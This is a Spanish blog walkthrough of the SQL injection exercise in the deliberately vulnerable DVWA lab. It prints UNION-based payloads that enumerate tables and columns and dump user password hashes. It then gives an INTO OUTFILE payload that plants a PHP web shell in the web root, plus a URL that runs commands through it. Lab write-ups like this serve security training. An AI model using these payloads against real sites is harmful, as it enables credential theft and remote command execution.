Lo primero como siempre es ponerlo en el nivel "low".
Tenemos que ver el modo en el que podríamos empezar a inyectar. Lo cierto es que en este nivel, verlo va a ser rápido. Podemos probar por meter una comilla simple en el cuadro, y ver el resultado obtenido:
El error lo muestro a continuación:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''' at line 1
Lo que viene a indicar que no se está utilizando una sintaxis correcta en la sentencia SQL. Más concretamente, está quejándose de que faltan unas comillas simples. Introduciendo dos comillas simples obtendremos lo siguiente:
Y esto indicaría que la sentencia SQL se ha ejecutado correctamente, pero que no le hemos solicitado nada (no le hemos hecho una consulta que devuelve datos). Ojo, una consulta sí que hemos realizado, sólo que no una que devuelva resultados.
Así que la idea es introducir algo en la consulta que se está realizando ya de por sí. Probablemente será algo del tipo select * from tabla where algo='$algo'. Al introducir parámetros en el recuadro quedaría algo tal como:
select * from tabla where algo=''lo que hemos introducido''
(lo que resalto en rojo es la cadena que introducimos/inyectamos directamente desde el cuadro de texto)
Bien, vamos a lo interesante, a que empiece a darnos resultados. Probaremos lo siguiente:
' union select table_name, null from information_schema.tables -- '
La explicación de lo que hemos introducido es la siguiente:
- La primera comilla cierra la primera query,
- union sirve para unir la primera consulta, la de la aplicación, con la nuestra
- el resto sirve para obtener el listado de tablas del esquema de la base de datos
- -- ' , al final, sirve para decir que lo que sigue a continuación es un comentario y así ignorar el resto de la consulta de la aplicación web.
En vez de null, podríamos haber puesto cualquier dato numérico, simplemente sirve para sacar el listado de tablas en el valor "First name" y nada en el valor "Surname"
Así que seguimos adelante. Vamos a obtener de la tabla usuario la columna de password:
' union select table_name, column_name from information_schema.columns where table_name='user' -- '
Y finalmente tenemos la tabla user con la columna "Password". Devuelve muchos más resultados, pero he mostrado directamente los que nos interesa.
Ya sólo falta obtener el contenido de esta columna, y con eso tendríamos lo que buscamos, más o menos.
La nueva consulta que introduciremos para obtener estos resultados es:
' union select user, Password from users -- '
Y ya tenemos lo que buscábamos: los hashes de las contraseñas. Ahora a divertirse averiguando a que corresponde cada uno de esos hashes obtenidos.
Bien, el siguiente paso por mi parte, aparte de conseguir las contraseñas, sería intentar conseguir una consola. En este caso es bastante sencillo. Solo tenemos que modificar nuestra consulta un poco.
La consulta que hemos contruido es la siguiente:
' union select "<? system($_REQUEST['cmd']); ?>", null from information_schema.columns INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" -- '
Como se puede observar, no muestra ningún tipo de datos de salida, es como si no hubiera funcionado. Esto es por lo siguiente:
- Con INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" le estamos diciendo que vuelque a ese fichero la salida. Tiene que ser esa ruta concreta porque es de donde puede leer el servidor web. Os dejo averiguar cómo saber que esa es la ruta (o leer el anterior post de DVWA).
Os muestro una captura de lo que se podría conseguir con el comando adecuado:
Lo que he usado es lo siguiente, introduciéndolo en la barra del navegador:
http://192.168.1.105/hackable/uploads/shell.php?cmd=ls -lh ../
No es la mejor manera de hacerlo, pero sirve como prueba de concepto.
No hay comentarios:
Publicar un comentario